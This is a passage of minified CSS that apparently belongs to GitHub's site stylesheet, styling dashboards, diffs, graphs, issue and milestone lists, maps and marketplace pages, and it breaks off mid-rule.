.pagination{float:right;margin:0}.repo-private-icon{fill:var(--color-attention-fg)}.dashboard-rollup-items>.dashboard-rollup-item{border-top:1px solid var(--color-border-default)}.news-full{float:none;width:auto}.dashboard-break-word{-webkit-hyphens:auto;hyphens:auto;word-break:break-word}.news .bio g-emoji,.news .repo-description g-emoji{display:inline-block}.news .feed-item-heading-menu-button{color:var(--color-fg-muted)}.news .feed-item-heading-menu-button:hover{color:var(--color-fg-default)}.suggest-icon{width:48px;height:48px;padding:4px}.suggest-icon svg,.suggest-icon path{fill:#fff}.suggest-icon svg::before,.suggest-icon path::before{bottom:-6px;left:-4px;background-color:#9e7bff}.suggest-icon svg::after,.suggest-icon path::after{top:-5px;right:-5px;width:5px;height:5px;background-color:#6c84e9}.suggest-icon .suggest-icon-bubble{position:absolute;width:6px;height:6px;background-color:#6c84e9;border-radius:50%}.suggest-icon .suggest-icon-bubble:nth-of-type(2n){width:4px;height:4px;background-color:#9e7bff}.suggest-icon .suggest-icon-bubble:nth-of-type(1){bottom:-7px;left:-7px}.suggest-icon .suggest-icon-bubble:nth-of-type(2){top:-4px;right:4px}.suggest-icon .suggest-icon-bubble:nth-of-type(3){top:-7px;right:-8px}.dashboard-notice{position:relative;padding:16px 16px 16px 55px;margin-bottom:16px;font-size:14px;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-radius:6px}.dashboard-notice .dismiss{position:absolute;top:10px;right:10px;width:16px;height:16px;color:var(--color-fg-muted);cursor:pointer}.dashboard-notice .dismiss:hover{color:var(--color-fg-muted)}.dashboard-notice .notice-icon{position:absolute;top:15px;left:15px}.dashboard-notice .octicon-organization{color:var(--color-accent-fg)}.dashboard-notice h2{margin-top:8px;margin-bottom:16px;font-size:16px;font-weight:400;color:var(--color-fg-default)}.dashboard-notice p.no-title{padding-right:4px}.dashboard-notice ul{margin-left:16px}.dashboard-notice li{padding-bottom:16px}.dashboard-notice .coupon{padding:8px;margin:16px 0;font-size:20px;font-weight:600;text-align:center;background:var(--color-canvas-default);border:1px dashed var(--color-border-default)}.dashboards-overview-lead{width:700px}.dashboards-overview-cards .boxed-group{width:100%;margin:8px 0}.dashboards-overview-cards .boxed-group .graph-canvas path{stroke-opacity:.5}.dashboards-overview-cards .is-no-activity .blankslate{display:block}.dashboards-overview-cards .is-no-activity .dashboards-overview-graph{display:none}.dashboards-overview-cards .blankslate{display:none;padding-top:47px;background-color:var(--color-canvas-default);border:0;box-shadow:none}.dashboards-overview-cards .octicon-arrow-down,.dashboards-overview-cards .octicon-arrow-up{display:none}.dashboards-overview-cards .is-increase .octicon-arrow-up{display:inline-block}.dashboards-overview-cards .is-decrease .octicon-arrow-down{display:inline-block}.dashboards-overview-cards .octicon-arrow-down{color:var(--color-danger-fg)}.dashboards-overview-cards .octicon-arrow-up{color:#1db34f}.dashboards-overview-cards .graph-canvas .dots{padding:43px 0}.dashboards-overview-cards .summary-stats{height:78px}.dashboards-overview-cards .summary-stats .metric-0{color:#1db34f}.dashboards-overview-cards .summary-stats .metric-1{color:var(--color-accent-fg)}.dashboards-overview-cards .summary-stats .totals-num{margin:0 8px}.dashboards-overview-cards .summary-stats .single{width:100%}.dashboards-overview-cards .dashboards-overview-graph{height:160px}.dashboards-overview-cards .dashboards-overview-graph path{fill:none;stroke-width:2}.dashboards-overview-cards .dashboards-overview-graph path.metric-0{stroke:#1db34f}.dashboards-overview-cards .dashboards-overview-graph path.metric-1{stroke:#1d7fb3}.dashboards-overview-cards .dashboards-overview-graph .y line{stroke:#1db34f}.dashboards-overview-cards .dashboards-overview-graph .y.unique line{stroke:#1d7fb3}.dashboards-overview-cards .dashboards-overview-graph .overlay{fill-opacity:0}.dashboards-overview-cards .metric-0 circle{fill:#1db34f;stroke:#fff;stroke-width:2}.dashboards-overview-cards .dots.metric-1 circle{fill:#1d7fb3;stroke:#fff;stroke-width:2}dl.form.developer-select-account{margin-top:0}.developer-wrapper .setup-info-module .features-list{margin-left:16px}.developer-wrapper .setup-info-module .features-list .octicon{margin-left:-16px}.developer-thanks h2{font-size:40px;font-weight:400}.developer-thanks .hook{margin-top:2px;margin-bottom:32px;font-size:16px;font-weight:300;color:var(--color-fg-muted)}.developer-thanks-image{position:relative;bottom:-45px;float:left;width:400px}.developer-thanks-section{margin:130px 0 0 470px}.developer-next-steps{font-size:16px;font-weight:300;list-style:none}.developer-next-steps li{margin-top:8px}.developer-next-steps li:first-child{margin-top:0}.developer-next-steps .octicon{margin-right:8px;color:var(--color-success-fg);vertical-align:middle}.file-diff-split[data-lock-side-selection=left] [data-split-side=right],.file-diff-split[data-lock-side-selection=right] [data-split-side=left]{-webkit-user-select:none;user-select:none}.invisible{position:absolute;opacity:0}.icon-discussion-answered{color:var(--color-success-fg)}.icon-discussion-answered,.icon-discussion-answered path{fill:var(--color-success-emphasis)}.icon-discussion-white{color:var(--color-discussions-state-answered-icon) !important}.icon-discussion-white,.icon-discussion-white path{fill:var(--color-discussions-state-answered-icon) !important}.icon-discussion-gray{color:var(--color-fg-default)}.icon-discussion-gray,.icon-discussion-gray path{fill:var(--color-fg-default)}.label-select-menu .color{display:inline-block;width:14px;height:14px;margin-top:-1px;margin-right:2px;vertical-align:middle;border-radius:7px}.label-select-menu .select-menu-item:hover,.label-select-menu .select-menu-item:focus,.label-select-menu .select-menu-item[aria-checked=true]:hover,.label-select-menu .select-menu-item[aria-checked=true]:focus{color:inherit;background-color:var(--color-neutral-subtle)}.label-select-menu .select-menu-item-icon,.label-select-menu .label-options-icon{color:inherit !important}.user-has-reacted .octicon{fill:var(--color-accent-fg)}.donut-chart>.error,.donut-chart>.cancelled,.donut-chart>.action_required,.donut-chart>.timed_out,.donut-chart>.failure{fill:var(--color-checks-donut-error)}.donut-chart>.expected,.donut-chart>.queued,.donut-chart>.in_progress,.donut-chart>.waiting,.donut-chart>.requested,.donut-chart>.pending{fill:var(--color-checks-donut-pending)}.donut-chart>.success{fill:var(--color-checks-donut-success)}.donut-chart>.neutral,.donut-chart>.stale,.donut-chart>.skipped{fill:var(--color-checks-donut-neutral)}.survey-question-form .other-text-form,.survey-question-form .other-text-form-block{display:none;margin-top:0}.survey-question-form.is-other-selected .other-text-form{display:inline-block}.survey-question-form.is-other-selected .other-text-form-block{display:block}.ghe-license-status{padding:40px 0;font-size:16px;text-align:center}.ghe-license-status .octocat{width:225px;margin-bottom:16px}.ghe-license-status h1{margin-bottom:8px}.ghe-license-status p{margin-bottom:4px;color:var(--color-fg-muted)}.ghe-license-expiry-icon{margin:4px 8px 0 0;color:var(--color-attention-fg)}.feature-preview-dialog{width:90vw;max-width:880px;height:60vh;min-height:240px;max-height:700px}.feature-preview-dialog .feature-preview-info{height:60vh;min-height:183px;max-height:calc(100% - 57px)}.file{position:relative;margin-top:16px;margin-bottom:16px;border:1px solid var(--color-border-default, #ddd);border-radius:6px}.file .drag-and-drop{border:0;border-top:1px dashed var(--color-border-default)}.file:target{outline:none !important;box-shadow:0 0 0 2px var(--color-accent-fg) !important}.file .data.empty{padding:4px 8px;color:var(--color-fg-muted)}.file:not(.open) .file-header.file-header--expandable{border-bottom:0;border-radius:6px}.file .data.suppressed,.file.open .image{display:none}.file.open .data.suppressed{display:block}.file .image{position:relative;padding:32px;text-align:center;background-color:#ddd}.file .image table{margin:0 auto}.file .image td{padding:0 4px;color:var(--color-fg-muted);text-align:center;vertical-align:top}.file .image td img{max-width:100%}.file .image .border-wrap{position:relative;display:inline-block;line-height:0;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default)}.file .image a{display:inline-block;line-height:0}.file .image img,.file .image canvas{max-width:600px;background:url("/images/modules/commit/trans_bg.gif") right bottom #eee;border:1px solid #fff}.file .image .view img,.file .image .view canvas{position:relative;top:0;right:0;max-width:inherit;background:url("/images/modules/commit/trans_bg.gif") right bottom #eee}.file .image .view>span{vertical-align:middle}.file .empty{background:none}.file-header{z-index:2;padding:4px 8px;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default);border-top-left-radius:6px;border-top-right-radius:6px}.file-header::before{display:table;content:""}.file-header::after{display:table;clear:both;content:""}.file-actions{float:right;padding-top:2px;font-size:12px}.file-actions select{margin-left:4px}.file-info{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px;line-height:32px}.file-info .octicon{vertical-align:text-bottom}.sticky-file-header{position:sticky;top:60px}.diff-progressive-loader{min-height:150px}.load-diff-button,.load-diff-retry{z-index:1;min-height:32px}.diff-placeholder-svg{clip:rect(1px, 1px, 1px, 1px);-webkit-clip-path:inset(50%);clip-path:inset(50%)}.ghae-bootstrap-container{min-height:calc(100vh - 54px)}.ghae-bootstrap-incomplete-step{color:var(--color-fg-muted);background-color:var(--color-canvas-subtle)}.ghae-bootstrap-complete-step{color:var(--color-fg-on-emphasis);background-color:var(--color-success-emphasis)}.ghae-enterprise-name-form-error{left:50%;transform:translateX(-50%)}.graphs .area{fill:var(--color-success-emphasis);fill-opacity:.5}.graphs .path{fill:none;stroke:var(--color-success-emphasis);stroke-opacity:1;stroke-width:2px}.graphs .dot{fill:var(--color-success-emphasis);stroke:#1e7e34;stroke-width:2px}.graphs .dot.padded{stroke:var(--color-canvas-default);stroke-width:1px}.graphs .dot.padded circle:hover{fill:var(--color-accent-emphasis)}.graphs .d3-tip{fill:var(--color-neutral-emphasis)}.graphs .d3-tip text{font-size:12px;fill:var(--color-canvas-default)}.graphs .dir{float:right;padding-top:4px;font-size:12px;font-weight:400;line-height:100%;color:var(--color-fg-muted)}.graphs .selection .overlay{visibility:none}.graphs .selection .selection{fill:var(--color-neutral-emphasis);fill-opacity:.1;stroke:var(--color-fg-default);stroke-dasharray:3 3;stroke-opacity:.4;stroke-width:1px;shape-rendering:crispedges}.graph-filter h3{display:inline-block;font-size:24px;font-weight:300}.graph-filter .info{margin-bottom:16px;color:var(--color-fg-muted)}.graph-canvas .activity{width:400px;padding:8px;margin:100px auto 0;color:var(--color-fg-default);text-align:center;border-radius:6px}.graph-canvas .dots{margin:0 auto}.graph-canvas>.activity{display:none}.graph-canvas .axis{font-size:12px}.graph-canvas .axis line{stroke:var(--color-border-default);shape-rendering:crispedges}.graph-canvas .axis text{fill:var(--color-fg-muted)}.graph-canvas .axis path{display:none}.graph-canvas .axis .zero line{stroke:var(--color-accent-emphasis);stroke-dasharray:3 3;stroke-width:1.5}.graph-canvas text.axis{fill:var(--color-fg-muted)}.graph-canvas .graph-loading,.graph-canvas .graph-error,.graph-canvas .graph-no-usable-data,.graph-canvas .graph-empty{display:none}.graph-canvas.is-graph-loading>.activity,.graph-canvas.is-graph-without-usable-data>.activity,.graph-canvas.is-graph-empty>.activity{display:block}.graph-canvas.is-graph-loading .graph-loading,.graph-canvas.is-graph-empty .graph-empty,.graph-canvas.is-graph-without-usable-data .graph-no-usable-data,.graph-canvas.is-graph-load-error .graph-error{display:block}.svg-tip{position:absolute;z-index:99999;padding:8px 16px;font-size:12px;color:var(--color-fg-on-emphasis);text-align:center;background:var(--color-neutral-emphasis-plus);border-radius:6px}.svg-tip.is-visible{display:block}.svg-tip::after{position:absolute;bottom:-10px;left:50%;width:5px;height:5px;box-sizing:border-box;margin:0 0 0 -4px;content:" ";border:5px solid transparent;border-top-color:var(--color-neutral-emphasis-plus)}.svg-tip.left::after{left:10%}.svg-tip.right::after{left:90%}.svg-tip.comparison{padding:0;text-align:left;pointer-events:none}.svg-tip.comparison .title{display:block;padding:8px;margin:0;font-weight:600;line-height:1;pointer-events:none}.svg-tip.comparison ul{padding:4px 8px 8px 8px;margin:0;white-space:nowrap;list-style:none}.svg-tip.comparison li{display:inline-block;padding-top:16px}.svg-tip.comparison .metric-0,.svg-tip.comparison .metric-1{position:relative}.svg-tip.comparison .metric-0::before,.svg-tip.comparison .metric-1::before{position:absolute;top:0;right:0;left:0;height:4px;content:"";border:1px solid var(--color-border-default);border-radius:6px}.svg-tip.comparison .metric-0::before{background-color:var(--color-success-emphasis)}.svg-tip.comparison .metric-1::before{background-color:var(--color-accent-emphasis)}.svg-tip-one-line{white-space:nowrap}.activity-overview-axis,.activity-overview-point{stroke:var(--color-calendar-graph-day-L4-bg)}.halloween-activity-overview .activity-overview-axis,.halloween-activity-overview .activity-overview-point{stroke:var(--color-calendar-halloween-graph-day-L4-bg)}.activity-overview-label{fill:var(--color-fg-muted)}.activity-overview-percentage{font-size:12px;fill:var(--color-fg-muted)}.team-breadcrumb .team-breadcrumb-item{display:inline-block}.team-breadcrumb .team-breadcrumb-item::after{padding-right:.5em;padding-left:.5em;color:var(--color-neutral-muted);content:"/"}.team-breadcrumb .team-breadcrumb-item-selected::after{content:none}.team-discussions-container{min-height:100vh}.team-left-column{max-width:100%}@media(min-width: 768px){.team-left-column{max-width:350px}}.team-left-column .team-avatar{width:80px;height:80px}@media(min-width: 768px){.team-left-column .team-avatar{width:140px;height:140px}}.team-discussions{max-width:768px}.team-discussions .previewable-comment-form .comment{border:0}.team-discussions .previewable-comment-form .toolbar-commenting.toolbar-commenting.toolbar-commenting{background:transparent}.team-discussions .previewable-comment-form .tabnav-tab.selected{background-color:var(--color-canvas-default)}.hooks-listing .boxed-group-action.select-menu{z-index:auto}.hooks-listing .boxed-group-inner{padding:0 8px;margin-bottom:8px}.hook-item a:hover{text-decoration:none}.hook-item .item-status{float:left;width:16px;margin-right:8px;text-align:center}.hook-item .description{color:var(--color-fg-muted)}.hook-item .description .css-truncate-target{max-width:160px}.hook-item .icon-for-success,.hook-item .icon-for-failure,.hook-item .icon-for-pending,.hook-item .icon-for-inactive{display:none}.hook-item.success .icon-for-success{display:inline-block;color:var(--color-success-fg)}.hook-item.failure .icon-for-failure{display:inline-block;color:var(--color-danger-fg)}.hook-item.pending .icon-for-pending{display:inline-block;color:var(--color-fg-muted)}.hook-item.inactive .icon-for-inactive{display:inline-block;color:var(--color-fg-muted)}.hook-item .icon-for-enabled,.hook-item .icon-for-disabled{display:none}.hook-item.enabled .icon-for-enabled{display:inline-block;color:var(--color-success-fg)}.hook-item.disabled .icon-for-disabled{display:inline-block;color:var(--color-fg-muted)}.hook-item .hook-error-message{margin-left:24px;color:var(--color-danger-fg)}.hook-url.css-truncate-target{max-width:360px}.hooks-oap-warning{margin-top:0}.hooks-oap-warning ul{margin:8px 0}.hooks-oap-warning ul li{margin-left:16px}.item-name{float:left;font-weight:600}.hovercard-icon{width:16px}.integration-meta-head{font-size:16px;color:var(--color-fg-muted)}.integrations-select-repos{max-height:138px;overflow-y:scroll;border-radius:6px}.integrations-select-repos .mini-repo-list-item{padding:8px 64px 8px 32px}.integrations-select-repos .mini-repo-list-item:hover .repo,.integrations-select-repos .mini-repo-list-item:hover .owner{text-decoration:none}.integrations-select-repos .mini-repo-list-item .css-truncate-target{max-width:345px}.integrations-select-repos::-webkit-scrollbar{width:10px}.integrations-select-repos::-webkit-scrollbar-thumb{background-color:rgba(0,0,0,.5);border:solid var(--color-canvas-default) 2px;border-radius:6px;box-shadow:0 0 1px rgba(255,255,255,.5)}.integrations-select-repos::-webkit-scrollbar-track-piece{background:transparent}.integrations-repository-picker{width:440px}.target-avatar{position:relative;top:-2px}.issue-list-item+.issue-list-item{border-top:solid 1px var(--color-border-muted)}.pinned-issue-item .pinned-issue-handle{cursor:grab}.pinned-issue-item.is-dragging,.pinned-issue-item.is-dragging .pinned-issue-handle{cursor:grabbing}.pinned-issue-item.is-dragging{background-color:var(--color-accent-subtle)}.pinned-issue-item.sortable-ghost{background-color:var(--color-accent-subtle);opacity:0}.issues-reset-query-wrapper{margin-bottom:16px}.label-link:hover{text-decoration:none}.issues-reset-query{font-weight:600;color:var(--color-fg-muted)}.issues-reset-query:hover{color:var(--color-accent-fg);text-decoration:none}.issues-reset-query:hover .issues-reset-query-icon{background-color:var(--color-accent-emphasis)}.issues-reset-query-icon{width:18px;height:18px;padding:1px;margin-right:4px;color:var(--color-fg-on-emphasis);text-align:center;background-color:var(--color-neutral-emphasis);border-radius:6px}.table-list-milestones .stats{gap:0 15px}.table-list-milestones .table-list-cell{padding:16px 16px}.table-list-milestones .stat{display:inline-block;font-size:14px;font-weight:600;line-height:1.2;color:var(--color-fg-muted);white-space:nowrap}.table-list-milestones .stat a{color:inherit}.table-list-milestones .stat-label{font-weight:400;color:var(--color-fg-muted)}.milestone-title{width:500px}.milestone-title-link{margin-top:0;margin-bottom:4px;font-size:24px;font-weight:400;line-height:1.2}.milestone-title-link a{color:var(--color-fg-default, #333)}.milestone-title-link a:hover{color:var(--color-accent-fg)}.milestone-progress{width:auto;max-width:420px}.milestone-progress .progress-bar{margin-top:8px;margin-bottom:12px}.milestone-meta{font-size:14px}.milestone-meta-item{display:inline-block;margin-right:8px}.milestone-meta-item .octicon{width:16px;text-align:center}.milestone-description-html{display:none}.milestone-description{margin-top:4px}.milestone-description .expand-more{color:var(--color-accent-fg);cursor:pointer}.milestone-description .expand-more:hover{text-decoration:underline}.milestone-description.open .milestone-description-plaintext{display:none}.milestone-description.open .milestone-description-html{display:block}.milestones-flexbox-gap{gap:10px}.issue-reorder-warning{z-index:110}.task-progress{color:var(--color-fg-muted);text-decoration:none;vertical-align:top}.task-progress .octicon{margin-right:4px;color:var(--color-fg-muted, #999);vertical-align:bottom}.task-progress .progress-bar{display:inline-block;width:80px;height:5px;vertical-align:2px;background-color:var(--color-neutral-muted)}.task-progress .progress-bar .progress{background-color:var(--color-border-default)}.task-progress-counts{display:inline-block;margin-right:4px;margin-left:-2px;font-size:12px}a.task-progress:hover{color:var(--color-accent-fg)}a.task-progress:hover .octicon{color:inherit}a.task-progress:hover .progress-bar .progress{background-color:var(--color-accent-emphasis)}.issue-meta-section .octicon{color:var(--color-fg-muted, #ccc);vertical-align:bottom}.issue-milestone{max-width:240px}.issue-milestone .css-truncate-target{max-width:100px}.milestone-link .octicon{font-size:14px}.milestone-link:hover .octicon{color:inherit}.new-pr-form{margin-top:16px;margin-bottom:16px}.new-pr-form::before{display:table;content:""}.new-pr-form::after{display:table;clear:both;content:""}.new-pr-form .discussion-timeline::before{display:none}.label-select-menu .description{margin-left:16px}.label-select-menu .color{display:inline-block;width:14px;height:14px;margin-top:-1px;margin-right:2px;vertical-align:middle;border-radius:7px}.label-select-menu [aria-checked=true] .select-menu-item-icon,.label-select-menu [aria-checked=mixed] .select-menu-item-icon,.label-select-menu .selected .select-menu-item-icon{color:inherit !important}.label-select-menu [aria-checked=true] .octicon-circle-slash,.label-select-menu [aria-checked=mixed] .octicon-circle-slash,.label-select-menu .selected .octicon-circle-slash{color:var(--color-fg-muted)}.label-select-menu [aria-checked=true]:active,.label-select-menu [aria-checked=mixed]:active,.label-select-menu .selected:active{background-color:transparent !important}.label-select-menu .select-menu-item{position:relative}.label-select-menu .select-menu-item:hover,.label-select-menu .select-menu-item:focus,.label-select-menu .select-menu-item[aria-selected=true],.label-select-menu .select-menu-item.navigation-focus{color:inherit;background-color:var(--color-neutral-subtle)}.label-select-menu .select-menu-item:hover .select-menu-item-icon,.label-select-menu .select-menu-item:focus .select-menu-item-icon,.label-select-menu .select-menu-item[aria-selected=true] .select-menu-item-icon,.label-select-menu .select-menu-item.navigation-focus .select-menu-item-icon{color:transparent}.label-select-menu .select-menu-item:hover .label-options-icon,.label-select-menu .select-menu-item:focus .label-options-icon,.label-select-menu .select-menu-item[aria-selected=true] .label-options-icon,.label-select-menu .select-menu-item.navigation-focus .label-options-icon{color:inherit}.label-select-menu>form{position:relative}.subnav .btn+.issues-search{padding-right:8px;border-right:1px solid var(--color-border-muted)}.reaction-sort-item{float:left;width:39px;padding:4px;margin-top:4px;text-align:center;pointer-events:all;border:solid 1px transparent;border-radius:6px;opacity:.7}.reaction-sort-item:focus,.reaction-sort-item:hover{text-decoration:none;background-color:var(--color-accent-emphasis);opacity:1}.reaction-sort-item[aria-checked=true]{background-color:var(--color-accent-subtle);border-color:var(--color-accent-emphasis);opacity:1}.issue-keyword{border-bottom:1px dotted var(--color-border-default)}.issue-keyword:hover{border-bottom:0}.new-label-color-dimensions{width:24px;height:24px}.select-menu-item[aria-selected=true]>.octicon.label-options-icon,.select-menu-item.navigation-focus>.octicon.label-options-icon{color:var(--color-fg-default)}.new-label-color-input:invalid{color:var(--color-danger-fg)}.issue-form-textarea{height:100px !important;min-height:100px !important}.issue-forms-wysiwyg-container .comment-form-head{background:var(--color-canvas-subtle) !important}.issue-forms-wysiwyg-container .comment-body{border-bottom:0 !important}.issue-form-body>:first-child{margin-top:0 !important}.issue-create-branch-menu-action{color:var(--color-fg-default)}.issue-create-branch-menu-action:hover:not(:disabled){color:var(--color-fg-default);background-color:var(--color-canvas-subtle)}.issue-create-branch-menu-action:focus:not(:disabled){color:var(--color-fg-default);background-color:var(--color-neutral-subtle)}react-app{display:flex !important}react-app>div{width:100%}.repository-lang-stats{position:relative}.repository-lang-stats ol.repository-lang-stats-numbers li{display:table-cell;width:1%;padding:8px 4px;text-align:center;white-space:nowrap;border-bottom:0}.repository-lang-stats ol.repository-lang-stats-numbers li span.percent{float:none}.repository-lang-stats ol.repository-lang-stats-numbers li>a,.repository-lang-stats ol.repository-lang-stats-numbers li>span{font-weight:600;color:var(--color-fg-muted);text-decoration:none}.repository-lang-stats ol.repository-lang-stats-numbers li .lang{color:var(--color-fg-default)}.repository-lang-stats ol.repository-lang-stats-numbers li .language-color{display:inline-block;width:10px;height:10px;border-radius:50%}.repository-lang-stats ol.repository-lang-stats-numbers li a:hover{background:transparent}.repository-lang-stats-graph{width:100%;overflow:hidden;white-space:nowrap;cursor:pointer;-webkit-user-select:none;user-select:none;border:1px solid var(--color-border-default);border-top:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.repository-lang-stats-graph .language-color{line-height:8px;text-indent:-9999px}.repository-lang-stats-graph .language-color:first-child{border-bottom-left-radius:6px}.repository-lang-stats-graph .language-color:last-child{border-bottom-right-radius:6px}.repository-lang-stats-graph .language-color:not(:first-child){border-left:1px solid var(--color-canvas-default)}.facebox-loading,.octocat-spinner{min-height:64px;background-image:url("/images/spinners/octocat-spinner-64.gif");background-repeat:no-repeat;background-position:center center}.octocat-spinner-32{min-height:32px;background-image:url("/images/spinners/octocat-spinner-32.gif");background-repeat:no-repeat;background-position:center center}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (-moz-min-device-pixel-ratio: 2),only screen and (min-device-pixel-ratio: 2),only screen and (min-resolution: 192dpi),only screen and (min-resolution: 2dppx){.facebox-loading,.octocat-spinner{background-image:url("/images/spinners/octocat-spinner-128.gif");background-size:64px 64px}.octocat-spinner-32{background-image:url("/images/spinners/octocat-spinner-64.gif");background-size:32px 32px}}.map-container .activity{top:120px;left:340px;z-index:99999}.map-container .is-graph-loading .activity{display:block}.map{height:350px}.map-background{pointer-events:all;fill:#0366d6}.map-background-zoom{cursor:grab}.map-land{fill:none;stroke:#256aae;stroke-width:2;shape-rendering:crispedges}.map-country{fill:#d7c7ad;shape-rendering:crispedges;cursor:pointer}.map-country.hk{stroke:#a5967e}.map-country:hover{fill:#c8b28e}.map-country.active{fill:#f6e5ca}.map-borders{fill:none;stroke:#a5967e;shape-rendering:crispedges}.map-graticule{pointer-events:none;fill:none;stroke:#fff;stroke-opacity:.2;shape-rendering:crispedges}.map-graticule :nth-child(2n){stroke-dasharray:2,2}.map-legend .map-legend-circle{fill-opacity:0;stroke:#fff;stroke-width:1.5}.map-legend .map-legend-text{font-size:12px;fill:#fff;text-anchor:end}.map-legend .map-legend-link{stroke:#fff;stroke-width:1.5}.map-point{pointer-events:none;fill:#f66a0a}.map-point:hover{fill:#e36209}.map-country-info{top:8px;right:8px;pointer-events:none;opacity:0}.MarketplaceJumbotron{background-color:var(--color-neutral-emphasis);background-image:url("/images/modules/marketplace/bg-hero.svg");background-repeat:repeat-y;background-position:center top;background-size:150% auto}@media(min-width: 768px){.MarketplaceJumbotron{background-repeat:no-repeat;background-size:cover}}.CircleBadge--feature{position:relative;top:0;transition:top .15s ease-in,box-shadow .12s ease-in}.MarketplaceFeature{min-width:250px}.MarketplaceFeature-text{opacity:.7;transition:opacity .12s ease-in}.MarketplaceFeature-link:hover .CircleBadge--feature{top:-3px;box-shadow:0 3px 8px 0 rgba(0,0,0,.2)}.MarketplaceFeature-link:hover .MarketplaceFeature-text{opacity:1}.MarketplaceFeature-link:active .CircleBadge--feature{top:0;box-shadow:0}.MarketplaceSideNav{-webkit-overflow-scrolling:touch;background-color:var(--color-canvas-subtle)}@media(min-width: 768px){.MarketplaceSideNav{background-color:var(--color-canvas-default);border-right:1px solid var(--color-border-default)}}.ScreenshotCarousel{border:1px solid var(--color-border-default);border-radius:6px}.ScreenshotCarousel-screenshot{padding:16px}.ScreenshotCarousel-nav{display:flex;overflow-x:auto;align-items:top;box-shadow:inset 0 1px 0 var(--color-border-default)}.ScreenshotCarousel-navitem{width:20%;min-width:120px;padding:16px;cursor:pointer;border-right:1px solid var(--color-border-default)}.ScreenshotCarousel-navitem:last-child{border-right:0}.ScreenshotCarousel-navitem.selected{background-color:var(--color-canvas-subtle);box-shadow:inset 0 0 4px rgba(36,41,46,.15)}.marketplace-listing-screenshot-container{width:175px;min-height:175px;background-repeat:no-repeat;background-position:center center;background-size:cover}.marketplace-listing-screenshot-zoom{display:none;cursor:move}.marketplace-listing-details-sidebar{order:2}@media(min-width: 768px){.marketplace-listing-details-sidebar{order:1}}.marketplace-listing-details-description{order:1}@media(min-width: 768px){.marketplace-listing-details-description{order:2}}.marketplace-listing-screenshot-link{height:100px;cursor:move}.marketplace-listing-screenshot-link:hover .marketplace-listing-screenshot-zoom,.marketplace-listing-screenshot-link:focus .marketplace-listing-screenshot-zoom{top:0;left:0;display:block;width:100%;height:100%;padding-top:24px;background-color:rgba(255,255,255,.75)}.marketplace-integratable-logo{width:40px;height:40px}.marketplace-listing-save-notice,.marketplace-listing-save-error{display:none;opacity:0;transition:opacity .15s linear}.marketplace-listing-save-notice.visible,.marketplace-listing-save-error.visible{display:inline-block;opacity:1}.marketplace-listing-screenshot-delete-form{position:absolute;bottom:-24px;width:100%;text-align:center}.marketplace-plan-dollar-field-container .price-note{display:none}.marketplace-plan-dollar-field-container.is-errored .price-note{display:block}.marketplace-plan-dollar-field-container.is-errored .form-control{border-color:var(--color-danger-emphasis)}.marketplace-plan-emphasis{color:var(--color-fg-default)}.selected .marketplace-plan-emphasis{color:var(--color-fg-on-emphasis)}.marketplace-plan-unit-name-preview::before{content:"per "}.marketplace-plan-per-time{clear:right}.marketplace-billing-modal{width:540px;max-height:90vh;margin-top:5vh}.marketplace-listing-markdown,.marketplace-url-link{word-wrap:break-word;white-space:pre-wrap}.marketplace-listing-markdown{line-height:1.4}.marketplace-product-callout{border-color:var(--color-border-default) !important}.marketplace-product-callout::before,.marketplace-product-callout::after{display:none}.marketplace-product-callout .branch-action-item-icon{color:var(--color-fg-muted);background-color:var(--color-canvas-subtle)}.filter-item.selected .Label--secondary{color:var(--color-fg-on-emphasis);border-color:var(--color-fg-on-emphasis)}.MarketplaceEdit-body{min-height:570px}.MarketplaceEdit-body .pricing-model-selector{width:calc(100% - 12px);max-width:100% !important}.MarketplaceEdit-body .menu{border-right:0;border-left:0;border-radius:0}.MarketplaceEdit-body .menu-item{padding:12px 16px;background:var(--color-canvas-subtle)}.MarketplaceEdit-body .menu-item.selected{background:var(--color-canvas-default)}.MarketplaceEdit-body .menu-item:hover{background:var(--color-canvas-subtle)}.MarketplaceEdit-body .menu-item.selected::before{position:absolute;top:0;bottom:0;left:0;width:3px;content:"";background-color:var(--color-severe-emphasis)}.MarketplaceEdit-body .menu-item:first-child::before{border-top-left-radius:0}.MarketplaceEdit-body .CircleIcon{display:inline-block;width:32px;height:32px;font-weight:600;line-height:32px;color:var(--color-fg-muted);text-align:center;background:#e6ebf1;border-radius:50%}.MarketplaceEdit-body .CircleIcon .octicon{display:inline-block}.MarketplaceInsights-graph .insights-month .tick:nth-child(2n){visibility:hidden}.BarChart{border-radius:6px}.BarChart-bar{height:10px;border-right:1px solid var(--color-canvas-default)}.BarChart-bar--green{background-color:var(--color-success-emphasis)}.BarChart-bar--orange{background-color:var(--color-severe-emphasis)}.BarChart-bar--yellow{background-color:var(--color-attention-emphasis)}.CircleBadge--tiny{width:32px;height:32px}.CircleBadge--github{position:relative}.CircleBadge--github.CircleBadge--large::after{right:5px;bottom:5px}.CircleBadge--github.CircleBadge--small::after{right:-5px;bottom:-5px}.CircleBadge--github::after{position:absolute;right:0;bottom:0;display:block;width:22px;height:22px;padding:4px;line-height:0;content:"";background:var(--color-canvas-default) 